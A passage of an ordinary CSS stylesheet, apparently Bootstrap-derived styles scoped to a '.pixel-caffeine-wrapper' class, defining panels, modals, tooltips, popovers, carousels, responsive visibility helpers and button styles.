} .pixel-caffeine-wrapper .panel-info > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #bce8f1; } .pixel-caffeine-wrapper .panel-warning { border-color: #faebcc; } .pixel-caffeine-wrapper .panel-warning > .panel-heading { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .pixel-caffeine-wrapper .panel-warning > .panel-heading + .panel-collapse > .panel-body { border-top-color: #faebcc; } .pixel-caffeine-wrapper .panel-warning > .panel-heading .badge { color: #fcf8e3; background-color: #8a6d3b; } .pixel-caffeine-wrapper .panel-warning > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #faebcc; } .pixel-caffeine-wrapper .panel-danger { border-color: #ebccd1; } .pixel-caffeine-wrapper .panel-danger > .panel-heading { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .pixel-caffeine-wrapper .panel-danger > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ebccd1; } .pixel-caffeine-wrapper .panel-danger > .panel-heading .badge { color: #f2dede; background-color: #a94442; } .pixel-caffeine-wrapper .panel-danger > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ebccd1; } .pixel-caffeine-wrapper .embed-responsive { position: relative; display: block; height: 0; padding: 0; overflow: hidden; } .pixel-caffeine-wrapper .embed-responsive .embed-responsive-item, .pixel-caffeine-wrapper .embed-responsive iframe, .pixel-caffeine-wrapper .embed-responsive embed, .pixel-caffeine-wrapper .embed-responsive object, .pixel-caffeine-wrapper .embed-responsive video { position: absolute; top: 0; bottom: 0; left: 0; width: 100%; height: 100%; border: 0; } .pixel-caffeine-wrapper .embed-responsive-16by9 { padding-bottom: 56.25%; } .pixel-caffeine-wrapper .embed-responsive-4by3 { padding-bottom: 75%; } .pixel-caffeine-wrapper .well { min-height: 20px; padding: 19px; margin-bottom: 20px; background-color: #f5f5f5; border: 1px solid #e3e3e3; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); } .pixel-caffeine-wrapper .well blockquote { border-color: #ddd; border-color: rgba(0, 0, 0, 0.15); } .pixel-caffeine-wrapper .well-lg { padding: 24px; border-radius: 6px; } .pixel-caffeine-wrapper .well-sm { padding: 9px; border-radius: 3px; } .pixel-caffeine-wrapper .close { float: right; font-size: 21px; font-weight: bold; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: 0.2; } .pixel-caffeine-wrapper .close:hover, .pixel-caffeine-wrapper .close:focus { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: 0.5; } .pixel-caffeine-wrapper button.close { padding: 0; cursor: pointer; background: transparent; border: 0; -webkit-appearance: none; -moz-appearance: none; appearance: none; } .pixel-caffeine-wrapper .modal-open { overflow: hidden; } .pixel-caffeine-wrapper .modal { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1050; display: none; overflow: hidden; -webkit-overflow-scrolling: touch; outline: 0; } .pixel-caffeine-wrapper .modal.fade .modal-dialog { -webkit-transform: translate(0, -25%); -o-transform: translate(0, -25%); transform: translate(0, -25%); -webkit-transition: -webkit-transform 0.3s ease-out; -o-transition: -o-transform 0.3s ease-out; transition: -webkit-transform 0.3s ease-out; transition: transform 0.3s ease-out; transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out, -o-transform 0.3s ease-out; } .pixel-caffeine-wrapper .modal.in .modal-dialog { -webkit-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .pixel-caffeine-wrapper .modal-open .modal { overflow-x: hidden; overflow-y: auto; } .pixel-caffeine-wrapper .modal-dialog { position: relative; width: auto; margin: 10px; } .pixel-caffeine-wrapper .modal-content { position: relative; background-color: #fff; background-clip: padding-box; border: 1px solid #999; border: 1px solid rgba(0, 0, 0, 0.2); border-radius: 6px; -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5); box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5); outline: 0; } .pixel-caffeine-wrapper .modal-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1040; background-color: #000; } .pixel-caffeine-wrapper .modal-backdrop.fade { filter: alpha(opacity=0); opacity: 0; } .pixel-caffeine-wrapper .modal-backdrop.in { filter: alpha(opacity=50); opacity: 0.5; } .pixel-caffeine-wrapper .modal-header { padding: 15px; border-bottom: 1px solid #e5e5e5; } .pixel-caffeine-wrapper .modal-header:before, .pixel-caffeine-wrapper .modal-header:after { display: table; content: " "; } .pixel-caffeine-wrapper .modal-header:after { clear: both; } .pixel-caffeine-wrapper .modal-header .close { margin-top: -2px; } .pixel-caffeine-wrapper .modal-title { margin: 0; line-height: 1.428571429; } .pixel-caffeine-wrapper .modal-body { position: relative; padding: 15px; } .pixel-caffeine-wrapper .modal-footer { padding: 15px; text-align: right; border-top: 1px solid #e5e5e5; } .pixel-caffeine-wrapper .modal-footer:before, .pixel-caffeine-wrapper .modal-footer:after { display: table; content: " "; } .pixel-caffeine-wrapper .modal-footer:after { clear: both; } .pixel-caffeine-wrapper .modal-footer .btn + .btn { margin-bottom: 0; margin-left: 5px; } .pixel-caffeine-wrapper .modal-footer .btn-group .btn + .btn { margin-left: -1px; } .pixel-caffeine-wrapper .modal-footer .btn-block + .btn-block { margin-left: 0; } .pixel-caffeine-wrapper .modal-scrollbar-measure { position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll; } @media (min-width: 768px) { .pixel-caffeine-wrapper .modal-dialog { width: 600px; margin: 30px auto; } .pixel-caffeine-wrapper .modal-content { -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); } .pixel-caffeine-wrapper .modal-sm { width: 300px; } } @media (min-width: 992px) { .pixel-caffeine-wrapper .modal-lg { width: 900px; } } [dir="ltr"] .pixel-caffeine-wrapper .tooltip{ text-align: left; } [dir="rtl"] .pixel-caffeine-wrapper .tooltip{ text-align: right; } .pixel-caffeine-wrapper .tooltip { position: absolute; z-index: 1070; display: block; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-style: normal; font-weight: 400; line-height: 1.428571429; line-break: auto; text-align: left; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; word-spacing: normal; word-wrap: normal; white-space: normal; font-size: 12px; filter: alpha(opacity=0); opacity: 0; } .pixel-caffeine-wrapper .tooltip.in { filter: alpha(opacity=90); opacity: 0.9; } .pixel-caffeine-wrapper .tooltip.top { padding: 5px 0; margin-top: -3px; } .pixel-caffeine-wrapper .tooltip.right { padding: 0 5px; margin-left: 3px; } .pixel-caffeine-wrapper .tooltip.bottom { padding: 5px 0; margin-top: 3px; } .pixel-caffeine-wrapper .tooltip.left { padding: 0 5px; margin-left: -3px; } .pixel-caffeine-wrapper .tooltip.top .tooltip-arrow { bottom: 0; left: 50%; margin-left: -5px; border-width: 5px 5px 0; border-top-color: #000; } .pixel-caffeine-wrapper .tooltip.top-left .tooltip-arrow { right: 5px; bottom: 0; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .pixel-caffeine-wrapper .tooltip.top-right .tooltip-arrow { bottom: 0; left: 5px; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .pixel-caffeine-wrapper .tooltip.right .tooltip-arrow { top: 50%; left: 0; margin-top: -5px; border-width: 5px 5px 5px 0; border-right-color: #000; } .pixel-caffeine-wrapper .tooltip.left .tooltip-arrow { top: 50%; right: 0; margin-top: -5px; border-width: 5px 0 5px 5px; border-left-color: #000; } .pixel-caffeine-wrapper .tooltip.bottom .tooltip-arrow { top: 0; left: 50%; margin-left: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .pixel-caffeine-wrapper .tooltip.bottom-left .tooltip-arrow { top: 0; right: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .pixel-caffeine-wrapper .tooltip.bottom-right .tooltip-arrow { top: 0; left: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .pixel-caffeine-wrapper .tooltip-inner { max-width: 200px; padding: 3px 8px; color: #fff; text-align: center; background-color: #000; border-radius: 4px; } .pixel-caffeine-wrapper .tooltip-arrow { position: absolute; width: 0; height: 0; border-color: transparent; border-style: solid; } [dir="ltr"] .pixel-caffeine-wrapper .popover{ text-align: left; } [dir="rtl"] .pixel-caffeine-wrapper .popover{ text-align: right; } .pixel-caffeine-wrapper .popover { position: absolute; top: 0; left: 0; z-index: 1060; display: none; max-width: 276px; padding: 1px; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-style: normal; font-weight: 400; line-height: 1.428571429; line-break: auto; text-align: left; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; word-spacing: normal; word-wrap: normal; white-space: normal; font-size: 14px; background-color: #fff; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, 0.2); border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); } .pixel-caffeine-wrapper .popover.top { margin-top: -10px; } .pixel-caffeine-wrapper .popover.right { margin-left: 10px; } .pixel-caffeine-wrapper .popover.bottom { margin-top: 10px; } .pixel-caffeine-wrapper .popover.left { margin-left: -10px; } .pixel-caffeine-wrapper .popover > .arrow { border-width: 11px; } .pixel-caffeine-wrapper .popover > .arrow, .pixel-caffeine-wrapper .popover > .arrow:after { position: absolute; display: block; width: 0; height: 0; border-color: transparent; border-style: solid; } .pixel-caffeine-wrapper .popover > .arrow:after { content: ""; border-width: 10px; } .pixel-caffeine-wrapper .popover.top > .arrow { bottom: -11px; left: 50%; margin-left: -11px; border-top-color: #999999; border-top-color: rgba(0, 0, 0, 0.25); border-bottom-width: 0; } .pixel-caffeine-wrapper .popover.top > .arrow:after { bottom: 1px; margin-left: -10px; content: " "; border-top-color: #fff; border-bottom-width: 0; } .pixel-caffeine-wrapper .popover.right > .arrow { top: 50%; left: -11px; margin-top: -11px; border-right-color: #999999; border-right-color: rgba(0, 0, 0, 0.25); border-left-width: 0; } .pixel-caffeine-wrapper .popover.right > .arrow:after { bottom: -10px; left: 1px; content: " "; border-right-color: #fff; border-left-width: 0; } .pixel-caffeine-wrapper .popover.bottom > .arrow { top: -11px; left: 50%; margin-left: -11px; border-top-width: 0; border-bottom-color: #999999; border-bottom-color: rgba(0, 0, 0, 0.25); } .pixel-caffeine-wrapper .popover.bottom > .arrow:after { top: 1px; margin-left: -10px; content: " "; border-top-width: 0; border-bottom-color: #fff; } .pixel-caffeine-wrapper .popover.left > .arrow { top: 50%; right: -11px; margin-top: -11px; border-right-width: 0; border-left-color: #999999; border-left-color: rgba(0, 0, 0, 0.25); } .pixel-caffeine-wrapper .popover.left > .arrow:after { right: 1px; bottom: -10px; content: " "; border-right-width: 0; border-left-color: #fff; } .pixel-caffeine-wrapper .popover-title { padding: 8px 14px; margin: 0; font-size: 14px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; border-radius: 5px 5px 0 0; } .pixel-caffeine-wrapper .popover-content { padding: 9px 14px; } .pixel-caffeine-wrapper .carousel { position: relative; } .pixel-caffeine-wrapper .carousel-inner { position: relative; width: 100%; overflow: hidden; } .pixel-caffeine-wrapper .carousel-inner > .item { position: relative; display: none; -webkit-transition: 0.6s ease-in-out left; -o-transition: 0.6s ease-in-out left; transition: 0.6s ease-in-out left; } .pixel-caffeine-wrapper .carousel-inner > .item > img, .pixel-caffeine-wrapper .carousel-inner > .item > a > img { display: block; max-width: 100%; height: auto; line-height: 1; } @media all and (transform-3d), (-webkit-transform-3d) { .pixel-caffeine-wrapper .carousel-inner > .item { -webkit-transition: -webkit-transform 0.6s ease-in-out; -o-transition: -o-transform 0.6s ease-in-out; transition: -webkit-transform 0.6s ease-in-out; transition: transform 0.6s ease-in-out; transition: transform 0.6s ease-in-out, -webkit-transform 0.6s ease-in-out, -o-transform 0.6s ease-in-out; -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-perspective: 1000px; perspective: 1000px; } .pixel-caffeine-wrapper .carousel-inner > .item.next, .pixel-caffeine-wrapper .carousel-inner > .item.active.right { -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); left: 0; } .pixel-caffeine-wrapper .carousel-inner > .item.prev, .pixel-caffeine-wrapper .carousel-inner > .item.active.left { -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); left: 0; } .pixel-caffeine-wrapper .carousel-inner > .item.next.left, .pixel-caffeine-wrapper .carousel-inner > .item.prev.right, .pixel-caffeine-wrapper .carousel-inner > .item.active { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); left: 0; } } .pixel-caffeine-wrapper .carousel-inner > .active, .pixel-caffeine-wrapper .carousel-inner > .next, .pixel-caffeine-wrapper .carousel-inner > .prev { display: block; } .pixel-caffeine-wrapper .carousel-inner > .active { left: 0; } .pixel-caffeine-wrapper .carousel-inner > .next, .pixel-caffeine-wrapper .carousel-inner > .prev { position: absolute; top: 0; width: 100%; } .pixel-caffeine-wrapper .carousel-inner > .next { left: 100%; } .pixel-caffeine-wrapper .carousel-inner > .prev { left: -100%; } .pixel-caffeine-wrapper .carousel-inner > .next.left, .pixel-caffeine-wrapper .carousel-inner > .prev.right { left: 0; } .pixel-caffeine-wrapper .carousel-inner > .active.left { left: -100%; } .pixel-caffeine-wrapper .carousel-inner > .active.right { left: 100%; } .pixel-caffeine-wrapper .carousel-control { position: absolute; top: 0; bottom: 0; left: 0; width: 15%; font-size: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6); background-color: rgba(0, 0, 0, 0); filter: alpha(opacity=50); opacity: 0.5; } .pixel-caffeine-wrapper .carousel-control.left { background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0.0001))); background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#80000000", endColorstr="#00000000", GradientType=1); background-repeat: repeat-x; } .pixel-caffeine-wrapper .carousel-control.right { right: 0; left: auto; background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.0001)), to(rgba(0, 0, 0, 0.5))); background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000", endColorstr="#80000000", GradientType=1); background-repeat: repeat-x; } .pixel-caffeine-wrapper .carousel-control:hover, .pixel-caffeine-wrapper .carousel-control:focus { color: #fff; text-decoration: none; outline: 0; filter: alpha(opacity=90); opacity: 0.9; } .pixel-caffeine-wrapper .carousel-control .icon-prev, .pixel-caffeine-wrapper .carousel-control .icon-next, .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-left, .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-right { position: absolute; top: 50%; z-index: 5; display: inline-block; margin-top: -10px; } .pixel-caffeine-wrapper .carousel-control .icon-prev, .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-left { left: 50%; margin-left: -10px; } .pixel-caffeine-wrapper .carousel-control .icon-next, .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-right { right: 50%; margin-right: -10px; } .pixel-caffeine-wrapper .carousel-control .icon-prev, .pixel-caffeine-wrapper .carousel-control .icon-next { width: 20px; height: 20px; font-family: serif; line-height: 1; } .pixel-caffeine-wrapper .carousel-control .icon-prev:before { content: "‹"; } .pixel-caffeine-wrapper .carousel-control .icon-next:before { content: "›"; } .pixel-caffeine-wrapper .carousel-indicators { position: absolute; bottom: 10px; left: 50%; z-index: 15; width: 60%; padding-left: 0; margin-left: -30%; text-align: center; list-style: none; } .pixel-caffeine-wrapper .carousel-indicators li { display: inline-block; width: 10px; height: 10px; margin: 1px; text-indent: -999px; cursor: pointer; background-color: #000 \9 ; background-color: rgba(0, 0, 0, 0); border: 1px solid #fff; border-radius: 10px; } .pixel-caffeine-wrapper .carousel-indicators .active { width: 12px; height: 12px; margin: 0; background-color: #fff; } .pixel-caffeine-wrapper .carousel-caption { position: absolute; right: 15%; bottom: 20px; left: 15%; z-index: 10; padding-top: 20px; padding-bottom: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6); } .pixel-caffeine-wrapper .carousel-caption .btn { text-shadow: none; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-left, .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-right, .pixel-caffeine-wrapper .carousel-control .icon-prev, .pixel-caffeine-wrapper .carousel-control .icon-next { width: 30px; height: 30px; margin-top: -10px; font-size: 30px; } .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-left, .pixel-caffeine-wrapper .carousel-control .icon-prev { margin-left: -10px; } .pixel-caffeine-wrapper .carousel-control .glyphicon-chevron-right, .pixel-caffeine-wrapper .carousel-control .icon-next { margin-right: -10px; } .pixel-caffeine-wrapper .carousel-caption { right: 20%; left: 20%; padding-bottom: 30px; } .pixel-caffeine-wrapper .carousel-indicators { bottom: 20px; } } .pixel-caffeine-wrapper .clearfix:before, .pixel-caffeine-wrapper .clearfix:after { display: table; content: " "; } .pixel-caffeine-wrapper .clearfix:after { clear: both; } .pixel-caffeine-wrapper .center-block { display: block; margin-right: auto; margin-left: auto; } .pixel-caffeine-wrapper .pull-right { float: right !important; } .pixel-caffeine-wrapper .pull-left { float: left !important; } .pixel-caffeine-wrapper .hide { display: none !important; } .pixel-caffeine-wrapper .show { display: block !important; } .pixel-caffeine-wrapper .invisible { visibility: hidden; } .pixel-caffeine-wrapper .text-hide { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0; } .pixel-caffeine-wrapper .hidden { display: none !important; } .pixel-caffeine-wrapper .affix { position: fixed; } @-ms-viewport { width: device-width; } .pixel-caffeine-wrapper .visible-xs { display: none !important; } .pixel-caffeine-wrapper .visible-sm { display: none !important; } .pixel-caffeine-wrapper .visible-md { display: none !important; } .pixel-caffeine-wrapper .visible-lg { display: none !important; } .pixel-caffeine-wrapper .visible-xs-block, .pixel-caffeine-wrapper .visible-xs-inline, .pixel-caffeine-wrapper .visible-xs-inline-block, .pixel-caffeine-wrapper .visible-sm-block, .pixel-caffeine-wrapper .visible-sm-inline, .pixel-caffeine-wrapper .visible-sm-inline-block, .pixel-caffeine-wrapper .visible-md-block, .pixel-caffeine-wrapper .visible-md-inline, .pixel-caffeine-wrapper .visible-md-inline-block, .pixel-caffeine-wrapper .visible-lg-block, .pixel-caffeine-wrapper .visible-lg-inline, .pixel-caffeine-wrapper .visible-lg-inline-block { display: none !important; } @media (max-width: 767px) { .pixel-caffeine-wrapper .visible-xs { display: block !important; } .pixel-caffeine-wrapper table.visible-xs { display: table !important; } .pixel-caffeine-wrapper tr.visible-xs { display: table-row !important; } .pixel-caffeine-wrapper th.visible-xs, .pixel-caffeine-wrapper td.visible-xs { display: table-cell !important; } } @media (max-width: 767px) { .pixel-caffeine-wrapper .visible-xs-block { display: block !important; } } @media (max-width: 767px) { .pixel-caffeine-wrapper .visible-xs-inline { display: inline !important; } } @media (max-width: 767px) { .pixel-caffeine-wrapper .visible-xs-inline-block { display: inline-block !important; } } @media (min-width: 768px) and (max-width: 991px) { .pixel-caffeine-wrapper .visible-sm { display: block !important; } .pixel-caffeine-wrapper table.visible-sm { display: table !important; } .pixel-caffeine-wrapper tr.visible-sm { display: table-row !important; } .pixel-caffeine-wrapper th.visible-sm, .pixel-caffeine-wrapper td.visible-sm { display: table-cell !important; } } @media (min-width: 768px) and (max-width: 991px) { .pixel-caffeine-wrapper .visible-sm-block { display: block !important; } } @media (min-width: 768px) and (max-width: 991px) { .pixel-caffeine-wrapper .visible-sm-inline { display: inline !important; } } @media (min-width: 768px) and (max-width: 991px) { .pixel-caffeine-wrapper .visible-sm-inline-block { display: inline-block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .pixel-caffeine-wrapper .visible-md { display: block !important; } .pixel-caffeine-wrapper table.visible-md { display: table !important; } .pixel-caffeine-wrapper tr.visible-md { display: table-row !important; } .pixel-caffeine-wrapper th.visible-md, .pixel-caffeine-wrapper td.visible-md { display: table-cell !important; } } @media (min-width: 992px) and (max-width: 1199px) { .pixel-caffeine-wrapper .visible-md-block { display: block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .pixel-caffeine-wrapper .visible-md-inline { display: inline !important; } } @media (min-width: 992px) and (max-width: 1199px) { .pixel-caffeine-wrapper .visible-md-inline-block { display: inline-block !important; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .visible-lg { display: block !important; } .pixel-caffeine-wrapper table.visible-lg { display: table !important; } .pixel-caffeine-wrapper tr.visible-lg { display: table-row !important; } .pixel-caffeine-wrapper th.visible-lg, .pixel-caffeine-wrapper td.visible-lg { display: table-cell !important; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .visible-lg-block { display: block !important; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .visible-lg-inline { display: inline !important; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .visible-lg-inline-block { display: inline-block !important; } } @media (max-width: 767px) { .pixel-caffeine-wrapper .hidden-xs { display: none !important; } } @media (min-width: 768px) and (max-width: 991px) { .pixel-caffeine-wrapper .hidden-sm { display: none !important; } } @media (min-width: 992px) and (max-width: 1199px) { .pixel-caffeine-wrapper .hidden-md { display: none !important; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .hidden-lg { display: none !important; } } .pixel-caffeine-wrapper .visible-print { display: none !important; } @media print { .pixel-caffeine-wrapper .visible-print { display: block !important; } .pixel-caffeine-wrapper table.visible-print { display: table !important; } .pixel-caffeine-wrapper tr.visible-print { display: table-row !important; } .pixel-caffeine-wrapper th.visible-print, .pixel-caffeine-wrapper td.visible-print { display: table-cell !important; } } .pixel-caffeine-wrapper .visible-print-block { display: none !important; } @media print { .pixel-caffeine-wrapper .visible-print-block { display: block !important; } } .pixel-caffeine-wrapper .visible-print-inline { display: none !important; } @media print { .pixel-caffeine-wrapper .visible-print-inline { display: inline !important; } } .pixel-caffeine-wrapper .visible-print-inline-block { display: none !important; } @media print { .pixel-caffeine-wrapper .visible-print-inline-block { display: inline-block !important; } } @media print { .pixel-caffeine-wrapper .hidden-print { display: none !important; } } .pixel-caffeine-wrapper body { background-color: transparent; } .pixel-caffeine-wrapper body.inverse { background: #333333; } .pixel-caffeine-wrapper body.inverse, .pixel-caffeine-wrapper body.inverse .form-control { color: rgba(255,255,255, 0.84); } .pixel-caffeine-wrapper body.inverse .modal, .pixel-caffeine-wrapper body.inverse .modal .form-control, .pixel-caffeine-wrapper body.inverse .panel-default, .pixel-caffeine-wrapper body.inverse .panel-default .form-control, .pixel-caffeine-wrapper body.inverse .card, .pixel-caffeine-wrapper body.inverse .card .form-control { background-color: transparent; background-color: initial; color: #000; color: initial; } .pixel-caffeine-wrapper body, .pixel-caffeine-wrapper h1, .pixel-caffeine-wrapper h2, .pixel-caffeine-wrapper h3, .pixel-caffeine-wrapper h4, .pixel-caffeine-wrapper h5, .pixel-caffeine-wrapper h6, .pixel-caffeine-wrapper .h1, .pixel-caffeine-wrapper .h2, .pixel-caffeine-wrapper .h3, .pixel-caffeine-wrapper .h4 { font-family: "Open Sans", Arial, sans-serif; font-weight: 300; } .pixel-caffeine-wrapper h5, .pixel-caffeine-wrapper h6 { font-weight: 400; } .pixel-caffeine-wrapper a, .pixel-caffeine-wrapper a:hover, .pixel-caffeine-wrapper a:focus { color: #337ab7; } .pixel-caffeine-wrapper a .material-icons, .pixel-caffeine-wrapper a:hover .material-icons, .pixel-caffeine-wrapper a:focus .material-icons { vertical-align: middle; } .pixel-caffeine-wrapper .form-horizontal .radio, .pixel-caffeine-wrapper .form-horizontal .checkbox, .pixel-caffeine-wrapper .form-horizontal .radio-inline, .pixel-caffeine-wrapper .form-horizontal .checkbox-inline { padding-top: 0; } .pixel-caffeine-wrapper .form-horizontal .radio { margin-bottom: 10px; } .pixel-caffeine-wrapper .form-horizontal label { text-align: right; } .pixel-caffeine-wrapper .form-horizontal label.control-label { margin: 0; } .pixel-caffeine-wrapper body .container .well.well-sm, .pixel-caffeine-wrapper body .container-fluid .well.well-sm { padding: 10px; } .pixel-caffeine-wrapper body .container .well.well-lg, .pixel-caffeine-wrapper body .container-fluid .well.well-lg { padding: 26px; } .pixel-caffeine-wrapper body .container .well, .pixel-caffeine-wrapper body .container .jumbotron, .pixel-caffeine-wrapper body .container-fluid .well, .pixel-caffeine-wrapper body .container-fluid .jumbotron { background-color: #fff; padding: 19px; margin-bottom: 20px; -webkit-box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); border-radius: 4px; border: 0; } .pixel-caffeine-wrapper body .container .well p, .pixel-caffeine-wrapper body .container .jumbotron p, .pixel-caffeine-wrapper body .container-fluid .well p, .pixel-caffeine-wrapper body .container-fluid .jumbotron p { font-weight: 300; } .pixel-caffeine-wrapper body .container .well, .pixel-caffeine-wrapper body .container .well-default, .pixel-caffeine-wrapper body .container .jumbotron, .pixel-caffeine-wrapper body .container .jumbotron-default, .pixel-caffeine-wrapper body .container-fluid .well, .pixel-caffeine-wrapper body .container-fluid .well-default, .pixel-caffeine-wrapper body .container-fluid .jumbotron, .pixel-caffeine-wrapper body .container-fluid .jumbotron-default { background-color: #FFF; } .pixel-caffeine-wrapper body .container .well-inverse, .pixel-caffeine-wrapper body .container .jumbotron-inverse, .pixel-caffeine-wrapper body .container-fluid .well-inverse, .pixel-caffeine-wrapper body .container-fluid .jumbotron-inverse { background-color: #3f51b5; } .pixel-caffeine-wrapper body .container .well-primary, .pixel-caffeine-wrapper body .container .jumbotron-primary, .pixel-caffeine-wrapper body .container-fluid .well-primary, .pixel-caffeine-wrapper body .container-fluid .jumbotron-primary { background-color: #4C70BA; } .pixel-caffeine-wrapper body .container .well-success, .pixel-caffeine-wrapper body .container .jumbotron-success, .pixel-caffeine-wrapper body .container-fluid .well-success, .pixel-caffeine-wrapper body .container-fluid .jumbotron-success { background-color: #68AA20; } .pixel-caffeine-wrapper body .container .well-info, .pixel-caffeine-wrapper body .container .jumbotron-info, .pixel-caffeine-wrapper body .container-fluid .well-info, .pixel-caffeine-wrapper body .container-fluid .jumbotron-info { background-color: #5bc0de; } .pixel-caffeine-wrapper body .container .well-warning, .pixel-caffeine-wrapper body .container .jumbotron-warning, .pixel-caffeine-wrapper body .container-fluid .well-warning, .pixel-caffeine-wrapper body .container-fluid .jumbotron-warning { background-color: #FD9C00; } .pixel-caffeine-wrapper body .container .well-danger, .pixel-caffeine-wrapper body .container .jumbotron-danger, .pixel-caffeine-wrapper body .container-fluid .well-danger, .pixel-caffeine-wrapper body .container-fluid .jumbotron-danger { background-color: #E15667; } .pixel-caffeine-wrapper .btn, .pixel-caffeine-wrapper .input-group-btn .btn { border: none; border-radius: 4px; position: relative; padding: 8px 30px; margin: 10px 1px; font-size: 14px; font-weight: 500; text-transform: uppercase; letter-spacing: 0; will-change: box-shadow, transform; -webkit-transition: background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1), color 0.2s cubic-bezier(0.4, 0, 0.2, 1), -webkit-box-shadow 0.2s cubic-bezier(0.4, 0, 1, 1); transition: background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1), color 0.2s cubic-bezier(0.4, 0, 0.2, 1), -webkit-box-shadow 0.2s cubic-bezier(0.4, 0, 1, 1); -o-transition: box-shadow 0.2s cubic-bezier(0.4, 0, 1, 1), background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1), color 0.2s cubic-bezier(0.4, 0, 0.2, 1); transition: box-shadow 0.2s cubic-bezier(0.4, 0, 1, 1), background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1), color 0.2s cubic-bezier(0.4, 0, 0.2, 1); transition: box-shadow 0.2s cubic-bezier(0.4, 0, 1, 1), background-color 0.2s cubic-bezier(0.4, 0, 0.2, 1), color 0.2s cubic-bezier(0.4, 0, 0.2, 1), -webkit-box-shadow 0.2s cubic-bezier(0.4, 0, 1, 1); outline: 0; cursor: pointer; text-decoration: none; background: transparent; } .pixel-caffeine-wrapper .btn::-moz-focus-inner, .pixel-caffeine-wrapper .input-group-btn .btn::-moz-focus-inner { border: 0; } .pixel-caffeine-wrapper .btn:not(.btn-raised), .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised) { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .btn:not(.btn-raised), .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-default, .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised), .pixel-caffeine-wrapper .input-group-btn .btn:not(.btn-raised).btn-default { color: rgba(0,0,0, 0.87); } .pixel-caffeine-wrapper .btn:not(.btn-raised).btn-inverse, .pixel-caffeine-wrapper .input-group-btn 